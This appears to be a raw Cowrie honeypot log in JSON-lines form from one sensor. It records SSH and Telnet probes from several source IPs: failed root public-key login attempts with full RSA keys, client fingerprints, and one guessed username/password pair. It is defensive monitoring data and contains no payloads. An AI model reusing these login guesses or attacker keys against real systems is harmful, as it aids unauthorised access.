{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:d7:25:e3:75:53:fb:f9:a9:31:7f:08:c5:4f:e5:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQJLJubNjPEe6rc9yeUzzu77INtGqIf5Pk520cP3FA8lQApJ6z13OvaIPaSHedeIkZ4yKl5O9sS5TrQctYB43LKoZMUFBkA11pEXM5A9DN+yQkzk88uuauJTEUFouYQ7MXDStR8zTbVHIKlMJgghL65SqXoxw7ArmoP1kHK3fzbKQ3CSjPhwbDLKf2w8UOnnQfGWegjjTH4bc0vbu/rPdwa/TTTWG0EQ3WKR1qm05ThPE0X8CnqeeR8ozv+50Ej0EMjd6s+ArMRjVpvMINetc8mAPX9dF3rGKZHhCIYV4pFuorALBnYxUHIY252NEiywhNrrf22FEgkcPbgyyN3l53","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:39:48.142655Z","src_ip":"185.134.49.5","session":"b68362944781","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:7d:d5:f4:45:1a:93:64:75:8f:9e:a0:3c:ce:8c:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEwBEM7+y/XVQlH1tU1lIeF/pOKFzsyocS/RIyAMy2gzkcOwek2qakvSQNop8atE2k8VZ/mri4ES9BVOKx9OoNDNwMK900q7oLVcEET5r9vULM0eZ4N/HkcHAlHz4JEqOh78/LEl5gmEGd+Ncmc9Rpxg3UEovhbqVgq0Utd7CH7ZeEEBPZk6C0B7IKdvQOkyHV28u/bpSdTAnPC2Yvyle+dV5fslKKmV2qnzDvPJemc6DKnGm9RWuISK7KRj7rGc0N4fnFd6H8G94aJBWjg1RsT3kK2SaXGj5m16KeVihfpfUoS1u0FiSVwbxg+ma04SV2Nam1K9sibHkgiLuVKqEf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:7d:d5:f4:45:1a:93:64:75:8f:9e:a0:3c:ce:8c:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:39:48.267429Z","src_ip":"185.134.49.5","session":"b68362944781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:7d:d5:f4:45:1a:93:64:75:8f:9e:a0:3c:ce:8c:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEwBEM7+y/XVQlH1tU1lIeF/pOKFzsyocS/RIyAMy2gzkcOwek2qakvSQNop8atE2k8VZ/mri4ES9BVOKx9OoNDNwMK900q7oLVcEET5r9vULM0eZ4N/HkcHAlHz4JEqOh78/LEl5gmEGd+Ncmc9Rpxg3UEovhbqVgq0Utd7CH7ZeEEBPZk6C0B7IKdvQOkyHV28u/bpSdTAnPC2Yvyle+dV5fslKKmV2qnzDvPJemc6DKnGm9RWuISK7KRj7rGc0N4fnFd6H8G94aJBWjg1RsT3kK2SaXGj5m16KeVihfpfUoS1u0FiSVwbxg+ma04SV2Nam1K9sibHkgiLuVKqEf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:39:48.272590Z","src_ip":"185.134.49.5","session":"b68362944781","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:da:b9:aa:62:60:ca:df:0b:9b:d6:eb:58:72:f5:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbarWPQ3LqgNdFKas/0WSoKiV+groafa9Ls4cBT2moflH4ug3x22WpMhWjN8uQDB+epCM91Xks0cwgUekUGgRu7VfRvqowoIjYFSOJkRkpXdYua61U8A/H2fHDEpTnsBFTQOiVW9sb5nBhzYP9mKWpAZh4y6spQDra9UoXVcQkZvwhNoi02r0ngoCIlF3QAyVSwzerHMqAruZSyk+TOMtgOOCdvobz41QsEvuoI+gkahYgfVkhvx4KsiU2dcq4Zt242Q8zxJEPUgH/21M+2EqmvwOXhSdtMXcShOw6+JXzv1ocmMEPMvtnb3pmnqyx+WRNwnl5cVgGgEN+KvZuW0hd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:da:b9:aa:62:60:ca:df:0b:9b:d6:eb:58:72:f5:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:39:48.398136Z","src_ip":"185.134.49.5","session":"b68362944781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:da:b9:aa:62:60:ca:df:0b:9b:d6:eb:58:72:f5:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbarWPQ3LqgNdFKas/0WSoKiV+groafa9Ls4cBT2moflH4ug3x22WpMhWjN8uQDB+epCM91Xks0cwgUekUGgRu7VfRvqowoIjYFSOJkRkpXdYua61U8A/H2fHDEpTnsBFTQOiVW9sb5nBhzYP9mKWpAZh4y6spQDra9UoXVcQkZvwhNoi02r0ngoCIlF3QAyVSwzerHMqAruZSyk+TOMtgOOCdvobz41QsEvuoI+gkahYgfVkhvx4KsiU2dcq4Zt242Q8zxJEPUgH/21M+2EqmvwOXhSdtMXcShOw6+JXzv1ocmMEPMvtnb3pmnqyx+WRNwnl5cVgGgEN+KvZuW0hd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:39:48.403089Z","src_ip":"185.134.49.5","session":"b68362944781","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:ab:10:55:0e:73:ac:ce:2b:c9:54:be:0d:38:d5:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Rj4UuqMOOQRXEJHRXXXIJqkXktAdYDuDtc8vV0g6l8sJ6qykrZr+wW7jlgf5V4rdAE6D9nXNyArLXLDXNMjQ6sAsi3OdJ/TzIX4g/LU6JMgjuzctqnKe/KjVOHbpOnGrAMC+Cj8DjmkixidIiwkFPvyZR1rslqHoTLSmJteOrFt5GVkLqvabfW1gMeSmyueHmn2Du9GaRbIu1RwF0m1PDtJc2Bg4QiUAcII0kOk/2ZxIpJNYnITQSR3wBopXyG5DTEosKjxfXVDji5e6kiDrcugx8vJsQcX72T0PwCg8MahUMCAfI+rqzJXm4mwF8Khi4Sjs9R2IUjd/5RNwpQEv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:ab:10:55:0e:73:ac:ce:2b:c9:54:be:0d:38:d5:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:39:48.527731Z","src_ip":"185.134.49.5","session":"b68362944781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:ab:10:55:0e:73:ac:ce:2b:c9:54:be:0d:38:d5:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Rj4UuqMOOQRXEJHRXXXIJqkXktAdYDuDtc8vV0g6l8sJ6qykrZr+wW7jlgf5V4rdAE6D9nXNyArLXLDXNMjQ6sAsi3OdJ/TzIX4g/LU6JMgjuzctqnKe/KjVOHbpOnGrAMC+Cj8DjmkixidIiwkFPvyZR1rslqHoTLSmJteOrFt5GVkLqvabfW1gMeSmyueHmn2Du9GaRbIu1RwF0m1PDtJc2Bg4QiUAcII0kOk/2ZxIpJNYnITQSR3wBopXyG5DTEosKjxfXVDji5e6kiDrcugx8vJsQcX72T0PwCg8MahUMCAfI+rqzJXm4mwF8Khi4Sjs9R2IUjd/5RNwpQEv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:39:48.532492Z","src_ip":"185.134.49.5","session":"b68362944781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:39:48.660095Z","src_ip":"185.134.49.5","session":"b68362944781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.69.142.222","src_port":43120,"dst_ip":"159.203.135.109","dst_port":23,"session":"17af7b7bab84","protocol":"telnet","message":"New connection: 105.69.142.222:43120 (159.203.135.109:23) [session: 17af7b7bab84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:20.261195Z"}
{"eventid":"cowrie.session.closed","duration":12.518327474594116,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:32.779414Z","src_ip":"105.69.142.222","session":"17af7b7bab84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47632,"dst_ip":"159.203.135.109","dst_port":22,"session":"59b1257b181d","protocol":"ssh","message":"New connection: 2.57.122.208:47632 (159.203.135.109:22) [session: 59b1257b181d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:32.828735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:32.932293Z","src_ip":"2.57.122.208","session":"59b1257b181d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:33.120940Z","src_ip":"2.57.122.208","session":"59b1257b181d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:34.223048Z","src_ip":"2.57.122.208","session":"59b1257b181d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:35.421982Z","src_ip":"2.57.122.208","session":"59b1257b181d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.176.100","src_port":49064,"dst_ip":"10.17.0.5","dst_port":22,"session":"da35161672ed","protocol":"ssh","message":"New connection: 86.111.176.100:49064 (10.17.0.5:22) [session: da35161672ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:48.386550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:48.391379Z","src_ip":"86.111.176.100","session":"da35161672ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:48.463062Z","src_ip":"86.111.176.100","session":"da35161672ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:8b:4a:f2:65:cb:89:6c:bf:a0:d8:c7:4f:39:ba:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgHXT4oGg8o3WgteYOj3K4Mz/2VFy7Pvs3cg6OnJ5pBbIK3hQ1lcVCAM2y01G8aN24LQ1pQCAdWqEn3xGF17XllnkgYV8Mnc3j1MK0nkM8lBq/i3eO9h+/dZNQy9+bIDXaG8kgG1uzdIwD4kSVHwBjhaLuRz5IHBPtQPNZq9yuhdCX+eFUuP6kAxVKiN+zZVW4+xfKJZbagf6n0+WGCnQIQUK07F2HrifGLdYbQ4A5yJ8ucxLGg0t2FpWEx1P87hfyZcCr1jLuIRs7+7fF6BmUb3CEobXlNQqeOKfTHU8LSrqg1WNAV2PNW9AlIWdCAeCNDOPA+/qcWyGWAWmAF08p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:8b:4a:f2:65:cb:89:6c:bf:a0:d8:c7:4f:39:ba:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:48.801091Z","src_ip":"86.111.176.100","session":"da35161672ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:8b:4a:f2:65:cb:89:6c:bf:a0:d8:c7:4f:39:ba:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgHXT4oGg8o3WgteYOj3K4Mz/2VFy7Pvs3cg6OnJ5pBbIK3hQ1lcVCAM2y01G8aN24LQ1pQCAdWqEn3xGF17XllnkgYV8Mnc3j1MK0nkM8lBq/i3eO9h+/dZNQy9+bIDXaG8kgG1uzdIwD4kSVHwBjhaLuRz5IHBPtQPNZq9yuhdCX+eFUuP6kAxVKiN+zZVW4+xfKJZbagf6n0+WGCnQIQUK07F2HrifGLdYbQ4A5yJ8ucxLGg0t2FpWEx1P87hfyZcCr1jLuIRs7+7fF6BmUb3CEobXlNQqeOKfTHU8LSrqg1WNAV2PNW9AlIWdCAeCNDOPA+/qcWyGWAWmAF08p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:48.805494Z","src_ip":"86.111.176.100","session":"da35161672ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:8d:1e:8d:b9:9c:45:bd:be:60:b1:86:ca:ec:c5:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4DSlpCtVdDN8xZY2NOH7ebOF8dl6LheZQoFwjCnzLHQmkD79hKf3Uhq09X0csEG2EtEsP8dhcjlIHBxFnLxGt4zgFQ0wi8GzOwBcYP+WFFRC8O/hW4TsXEGSGFZH5kiCeFgWYnknti01BD+zy6wnqMMIKr+4oeJ5FGV3gzCXRsxCzFo/+Ly/+7gZyIggW5VuIVRjCe5hrZ1p/PvVwWFrV6HyvtHyGCBX8croulBbxoIxzjtPDbqy3el3Wr3eZGT6gDWaJbiXLO+djO5hnX61hbEaCQ33ydqUk2Yi+cq73w4xweuydGlSJmaQdMkOElF3QXZh46fcSlUtFTn92eUG/rUCNUnrIEGABJNRIK2G0FbCUS67hmrbbgx7qXqVgzuI5p6Qer9fHeKwTwQ49mgkGhm7HgksPg7SRmmihj7+ZtCyIFrx0pt+UftfuWfM8sKOV7NmTqIZgx6Op7jx4PSf1lURAaRUvtESayEPwOhde9XhRBeYVpj+6D2BQubi0e8c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:8d:1e:8d:b9:9c:45:bd:be:60:b1:86:ca:ec:c5:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:48.875592Z","src_ip":"86.111.176.100","session":"da35161672ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:8d:1e:8d:b9:9c:45:bd:be:60:b1:86:ca:ec:c5:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4DSlpCtVdDN8xZY2NOH7ebOF8dl6LheZQoFwjCnzLHQmkD79hKf3Uhq09X0csEG2EtEsP8dhcjlIHBxFnLxGt4zgFQ0wi8GzOwBcYP+WFFRC8O/hW4TsXEGSGFZH5kiCeFgWYnknti01BD+zy6wnqMMIKr+4oeJ5FGV3gzCXRsxCzFo/+Ly/+7gZyIggW5VuIVRjCe5hrZ1p/PvVwWFrV6HyvtHyGCBX8croulBbxoIxzjtPDbqy3el3Wr3eZGT6gDWaJbiXLO+djO5hnX61hbEaCQ33ydqUk2Yi+cq73w4xweuydGlSJmaQdMkOElF3QXZh46fcSlUtFTn92eUG/rUCNUnrIEGABJNRIK2G0FbCUS67hmrbbgx7qXqVgzuI5p6Qer9fHeKwTwQ49mgkGhm7HgksPg7SRmmihj7+ZtCyIFrx0pt+UftfuWfM8sKOV7NmTqIZgx6Op7jx4PSf1lURAaRUvtESayEPwOhde9XhRBeYVpj+6D2BQubi0e8c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:48.879423Z","src_ip":"86.111.176.100","session":"da35161672ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:d1:3f:fb:fd:db:71:01:48:ae:17:e1:62:ac:49:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbLXoKKh7cUT+qBz4HzgfNrbaiuHA9FGd8kpDr49bID0q0L9Tcp/zBbJiZ0JoVDSOe4OeinrQq8s4TqZfVKCap2yWLPH1KwGzc3iaUeQ0C+w9TtrpoDjh0RraAxEcqDpPRB9qIqzxvhCqHK5XojuoWW0w1Xx0NI1DyuAzYq2774DdqWjQo7nxstu4GwL4xTnHR8YCHzaYX3aT7TehMEK8x9YvHN6FT9k+OTIA/kEB+dglk4VhN6Mpw8SxHY8Asrkyu8AfqQPsII+mB1N9Yu3a23DJQl5hqug2uhyamVQNpcROOXyGPM979Zf0xX03JZDqWCZTkPpQIrHbDwS/zNZZ3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:d1:3f:fb:fd:db:71:01:48:ae:17:e1:62:ac:49:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:48.949272Z","src_ip":"86.111.176.100","session":"da35161672ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:d1:3f:fb:fd:db:71:01:48:ae:17:e1:62:ac:49:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbLXoKKh7cUT+qBz4HzgfNrbaiuHA9FGd8kpDr49bID0q0L9Tcp/zBbJiZ0JoVDSOe4OeinrQq8s4TqZfVKCap2yWLPH1KwGzc3iaUeQ0C+w9TtrpoDjh0RraAxEcqDpPRB9qIqzxvhCqHK5XojuoWW0w1Xx0NI1DyuAzYq2774DdqWjQo7nxstu4GwL4xTnHR8YCHzaYX3aT7TehMEK8x9YvHN6FT9k+OTIA/kEB+dglk4VhN6Mpw8SxHY8Asrkyu8AfqQPsII+mB1N9Yu3a23DJQl5hqug2uhyamVQNpcROOXyGPM979Zf0xX03JZDqWCZTkPpQIrHbDwS/zNZZ3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:48.952857Z","src_ip":"86.111.176.100","session":"da35161672ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:d1:0b:d8:6f:cd:04:0d:c1:e8:19:86:41:b4:71:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Yz9qaAXWlcUaP04o2haywEsosMHks8xafEkUWdLoobQfINVRy21HCnJPTB30ksQ3gAOQ58p1xLlyr9Vkmy+C/b1AJpkUT6b8GuvY6JC1fNXMqSsdSok0nAE7PP5LFECbhfNMDHPOP/NXUFG1qtc4fDcQ5shDnvm2sSeBaWM5TT/POsrDULrca1vyZTqEsb7M+MkFJFZ7XwJHZZRwEwc3wxcknUntyJvPCLhX6GpeVonHurMufhVfvqY5w/9VSh5cys72NOIXNcmQu7BpMhl6KVM/22Nz71MTY9lQ2sCMEsKAR160t6buVfMdR0bOBts0MRUjUDn9THKqn+6nxxIaDJlq0j9ijkDiLQtPU3JnvCDVnXtUgZmg6MuZezLfdg6NnyT5z4XP3fOETiSbj0Fsyh07bvXp3AEQ0jNIrTNOdAq1vUlMHOpk07SzYOiW5fJPXpyLevbiL4N2mYxZ5JRGopEL5CFLYpesS4CdojfeUIaI2pvP1DQFbmMpGo9Fh5f4jGus6SPW21Mz1p4ODx8G9+4Acoh7V88Zohm6+m+5nTeOSrRetI1Vz/peLDmqfc2uVIvIaTdAR+EMWSTSy3lmlqMP2Geg4IAKdQL/euND7t4AEsOJMeu52+dQ+slna9rtxe/JY6UPq66R2C5g1mhfYF9L0+OyftWcob9ULBuqsQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:d1:0b:d8:6f:cd:04:0d:c1:e8:19:86:41:b4:71:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:49.025891Z","src_ip":"86.111.176.100","session":"da35161672ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:d1:0b:d8:6f:cd:04:0d:c1:e8:19:86:41:b4:71:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Yz9qaAXWlcUaP04o2haywEsosMHks8xafEkUWdLoobQfINVRy21HCnJPTB30ksQ3gAOQ58p1xLlyr9Vkmy+C/b1AJpkUT6b8GuvY6JC1fNXMqSsdSok0nAE7PP5LFECbhfNMDHPOP/NXUFG1qtc4fDcQ5shDnvm2sSeBaWM5TT/POsrDULrca1vyZTqEsb7M+MkFJFZ7XwJHZZRwEwc3wxcknUntyJvPCLhX6GpeVonHurMufhVfvqY5w/9VSh5cys72NOIXNcmQu7BpMhl6KVM/22Nz71MTY9lQ2sCMEsKAR160t6buVfMdR0bOBts0MRUjUDn9THKqn+6nxxIaDJlq0j9ijkDiLQtPU3JnvCDVnXtUgZmg6MuZezLfdg6NnyT5z4XP3fOETiSbj0Fsyh07bvXp3AEQ0jNIrTNOdAq1vUlMHOpk07SzYOiW5fJPXpyLevbiL4N2mYxZ5JRGopEL5CFLYpesS4CdojfeUIaI2pvP1DQFbmMpGo9Fh5f4jGus6SPW21Mz1p4ODx8G9+4Acoh7V88Zohm6+m+5nTeOSrRetI1Vz/peLDmqfc2uVIvIaTdAR+EMWSTSy3lmlqMP2Geg4IAKdQL/euND7t4AEsOJMeu52+dQ+slna9rtxe/JY6UPq66R2C5g1mhfYF9L0+OyftWcob9ULBuqsQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:49.029873Z","src_ip":"86.111.176.100","session":"da35161672ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:05:3a:6a:c0:cb:e1:68:76:ee:0b:7d:c2:a7:89:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7xFVWjh0MF4mkwSHVPzhGvN3CqXiB6ErgYETzlSDiKU3bCr6+oOZO08U35BDv+R7pYXW7WhLEFH6QBKei1B+nKyclSevj4hC91sw9mw+KLLYyzcK/14ORl6tzHqSdHhxTUF9HvVmczhqOpfn2FSszelFcSkfqn/0zE0oZS0Y/fhkuAMZn5OxoIBBjItlqbsOfpp8g+jqHdI4kMDV8MNIX57srjFs7sFfTMzXf0pUqfADQVCKeN0hWCTBaN9TX1eg2XAqnb+fjNqQjZWeaKIJhZpiHX2YcyBBC7zCNFaciJd+62kNnIqBw38mN6haitkPSo+7/GoUCxWieJstDSs2Mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:05:3a:6a:c0:cb:e1:68:76:ee:0b:7d:c2:a7:89:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:49.102666Z","src_ip":"86.111.176.100","session":"da35161672ed","protocol":"ssh"}
